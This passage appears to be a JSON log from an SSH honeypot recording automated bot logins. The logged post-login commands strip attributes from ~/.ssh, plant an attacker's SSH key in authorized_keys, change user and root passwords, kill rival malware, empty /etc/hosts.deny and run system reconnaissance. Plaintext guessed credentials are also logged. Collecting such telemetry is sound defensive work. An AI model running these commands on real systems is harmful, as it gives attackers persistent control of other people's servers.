1:29, 0 user, load average: 0.12, 0.1, 0.08\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:39:21.199326+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:39:21.939528+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:39:22.252989+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:39:22.789274+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:39:23.104024+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:39:23.972428+00:00","kind":"output","latency_ms":null,"data":"gourav"},{"seq":29,"at":"2026-08-27T04:39:24.288126+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:39:25.141418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:39:25.455009+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:39:26.419773+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gourav","password":"gourav","method":"password","accepted":true,"tier":"other"}]} {"id":"6756b29e-0782-4700-90b6-59a9effde601","name":"hazel-coastal-finch","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":50486,"username":"gourav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:39:09.462197+00:00","ended_at":"2026-08-27T04:39:11.204858+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gourav","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"50c01bc8-1b03-45a4-85e4-c4b336168929","name":"hazel-clever-skylark","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":50470,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:39:07.646781+00:00","ended_at":"2026-08-27T04:39:08.825353+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"402eea8c-7073-41a2-912e-007c524242f6","name":"orderly-thawing-addax","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":56234,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:37:20.979229+00:00","ended_at":"2026-08-27T04:37:22.242100+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2155,"events":[{"seq":1,"at":"2026-08-27T04:37:01.371006+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:37:01.683138+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:37:06.467373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:37:06.899176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:37:07.212282+00:00","kind":"input","latency_ms":null,"data":"echo -e \"s0p0rte\\nTryjouMXEofT\\nTryjouMXEofT\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:37:07.523241+00:00","kind":"input","latency_ms":null,"data":"echo \"s0p0rte\\nTryjouMXEofT\\nTryjouMXEofT\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:37:07.834274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:37:08.445387+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:37:08.759239+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:37:09.623163+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:37:09.937737+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:37:10.739888+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:37:11.058628+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:37:11.388199+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:37:11.701267+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:37:12.280465+00:00","kind":"output","latency_ms":null,"data":" 04:37:12 up 7 days, 1:27, 0 user, load average: 0.32, 0.24, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:37:12.594301+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:37:12.864476+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:37:13.179803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:37:13.957122+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:37:14.267195+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:37:15.115307+00:00","kind":"output","latency_ms":null,"data":"top - 04:37:15 up 7 days, 1:27, 0 user, load average: 0.32, 0.24, 0.3\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:37:15.427456+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:37:16.051115+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:37:16.364562+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:37:16.809923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:37:17.124068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:37:18.458786+00:00","kind":"output","latency_ms":null,"data":"soporte"},{"seq":29,"at":"2026-08-27T04:37:18.772116+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:37:20.669297+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:37:20.980092+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:37:22.147441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"soporte","password":"s0p0rte","method":"password","accepted":true,"tier":"other"}]} {"id":"00d24c69-5f2e-4537-96bf-e8f0ea47c45c","name":"frosty-feral-tern","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":56260,"username":"soporte","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:37:04.504215+00:00","ended_at":"2026-08-27T04:37:06.374030+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"soporte","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"53c1a44a-2258-40b2-ba26-a987f4d69816","name":"thawing-faded-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":56246,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:37:02.398473+00:00","ended_at":"2026-08-27T04:37:03.879166+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"81aba5a5-1868-45cf-ba64-b52f1dc6eb5f","name":"umber-frank-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":56734,"username":"Test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":315,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:35:18.529512+00:00","ended_at":"2026-08-27T04:35:19.542165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2137,"events":[{"seq":1,"at":"2026-08-27T04:34:54.374779+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:34:54.689112+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:34:57.830779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:34:59.363894+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:34:59.677271+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Test\\nHhGhIS2B2drk\\nHhGhIS2B2drk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:34:59.990009+00:00","kind":"input","latency_ms":null,"data":"echo \"Test\\nHhGhIS2B2drk\\nHhGhIS2B2drk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:35:00.308286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:35:01.501180+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:35:01.804485+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:35:01.812926+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T04:35:02.115160+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T04:35:03.266764+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:35:03.583288+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:35:04.747155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:35:05.069120+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:35:06.207535+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:35:06.521540+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:35:08.329169+00:00","kind":"output","latency_ms":null,"data":" 04:35:08 up 7 days, 1:25, 0 user, load average: 0.12, 0.15, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:35:08.642089+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:35:10.396810+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:35:10.718961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:35:11.717898+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:35:12.031651+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:35:13.776441+00:00","kind":"output","latency_ms":null,"data":"top - 04:35:13 up 7 days, 1:25, 0 user, load average: 0.12, 0.15, 0.11\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:35:14.104238+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:35:14.530763+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:35:14.852258+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:35:15.347031+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:35:15.661260+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:35:16.318330+00:00","kind":"output","latency_ms":null,"data":"Test"},{"seq":31,"at":"2026-08-27T04:35:16.636740+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:35:18.216213+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:35:18.530276+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:35:19.447074+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"Test","password":"Test","method":"password","accepted":true,"tier":"other"}]} {"id":"b6a37fd8-baf1-4ddd-945b-c9987396ca44","name":"solar-lonesome-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48952,"username":"Test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:34:56.965843+00:00","ended_at":"2026-08-27T04:34:57.742093+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"Test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5e70a86a-c75d-46c3-90ad-d38507aa43be","name":"zealous-slender-sparrow","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":56742,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:34:55.446400+00:00","ended_at":"2026-08-27T04:34:56.310759+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"797f7ea9-5551-4773-934f-068e502d14c2","name":"frugal-dusty-cormorant","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48826,"username":"miner","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:33:19.591657+00:00","ended_at":"2026-08-27T04:33:21.856561+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2131,"events":[{"seq":1,"at":"2026-08-27T04:32:50.814653+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:32:51.141154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:32:56.137111+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:32:57.092152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:32:57.421614+00:00","kind":"input","latency_ms":null,"data":"echo -e \"miner1\\ni1mZp5wAnUv2\\ni1mZp5wAnUv2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:32:57.749101+00:00","kind":"input","latency_ms":null,"data":"echo \"miner1\\ni1mZp5wAnUv2\\ni1mZp5wAnUv2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:32:58.077995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:32:58.571584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T04:32:58.936836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T04:32:59.137744+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T04:32:59.466561+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T04:33:01.421934+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:33:01.750564+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T04:33:03.235421+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T04:33:03.568267+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T04:33:04.967867+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T04:33:05.295937+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T04:33:06.494322+00:00","kind":"output","latency_ms":null,"data":" 04:33:06 up 7 days, 1:23, 0 user, load average: 0.11, 0.11, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T04:33:06.828246+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T04:33:08.729868+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T04:33:09.058850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T04:33:11.242613+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T04:33:11.568409+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T04:33:12.741769+00:00","kind":"output","latency_ms":null,"data":"top - 04:33:12 up 7 days, 1:23, 0 user, load average: 0.11, 0.11, 0.07\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T04:33:13.071936+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T04:33:14.050606+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T04:33:14.380471+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T04:33:15.360825+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T04:33:15.694941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T04:33:17.753612+00:00","kind":"output","latency_ms":null,"data":"miner"},{"seq":31,"at":"2026-08-27T04:33:18.081217+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T04:33:19.264532+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T04:33:19.592671+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T04:33:21.754812+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"miner","password":"miner1","method":"password","accepted":true,"tier":"other"}]} {"id":"389856fc-d0c6-4091-849f-68dedc816644","name":"brazen-pleasant-snipe","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48848,"username":"miner","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:32:54.050969+00:00","ended_at":"2026-08-27T04:32:56.040923+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"miner","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3f703daf-59e0-4784-b490-ed6aaeca1a93","name":"thrifty-serene-heron","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48840,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:32:51.893367+00:00","ended_at":"2026-08-27T04:32:53.385677+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9e90a36e-8ad2-413c-9459-9fd848fb95bf","name":"fearless-sleepy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":53292,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:31:21.052647+00:00","ended_at":"2026-08-27T04:31:23.085115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2172,"events":[{"seq":1,"at":"2026-08-27T04:30:55.866442+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:30:56.189630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:31:01.331335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:31:02.810088+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:31:03.129712+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W8K5IoOb1CgB\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:31:03.454046+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:31:03.772097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 